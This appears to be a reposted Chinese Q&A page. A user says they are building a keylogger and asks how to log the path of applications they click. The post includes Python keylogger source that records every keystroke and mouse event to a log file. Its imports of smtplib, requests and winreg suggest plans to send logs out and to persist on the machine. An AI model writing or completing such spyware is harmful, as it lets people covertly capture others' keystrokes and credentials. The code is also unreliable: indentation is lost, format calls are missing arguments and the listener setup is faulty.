如何解决有没有办法获得点击应用程序的路径
我正在尝试构建一个键盘记录器,我只想获取鼠标点击的路径,例如,如果我点击了 chrome.exe,我希望我的代码将鼠标点击的 chrome.exe 存储在我的日志文件中
import logging
import threading
from requests import get
import socket
from pynput.keyboard import Key,Listener
import sys
import time
import pynput.keyboard
import threading
import smtplib
import stat
import os
import shutil
import subprocess
import sys
import platform
import getpass
import winreg
import win32event,win32api,winerror
import sys
import threading
from pynput import mouse
from pynput import keyboard
创建日志到默认路径
logging.basicConfig(filename=("log.text"),level =logging.DEBUG,format='%(asctime)s:%(message)s')
创建日志到指定路径
#log_dir=r"C:\Users\Mr. jarvis\Desktop\test/"
#logging.basicConfig(filename=(log_dir + "key_log.text"),format='%(asctime)s:%(message)s')
def on_move(x,y):
logging.info("Mouse moved to ({0},{1})".format(x,y))
这里是点击功能
def on_click(x,y,button,pressed):
if pressed:
logging.info('Mouse clicked at ({0},{1}) with {2}'.format(x,button))
def on_scroll(x,dx,dy):
logging.info('Mouse scrolled at ({0},{1})({2},{3})'.format(x,dy))
def on_press(key):
if key == Key.space:
key = " ------- "
if key== Key.tab:
key= '<TAB>'
if key==Key.esc:
key='Escape'
if key==Key.enter:
key= 'Enter'
else:
pass
logging.info(str(key).replace("'",""))
with mouse.Listener(on_click=on_click) as listener:
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。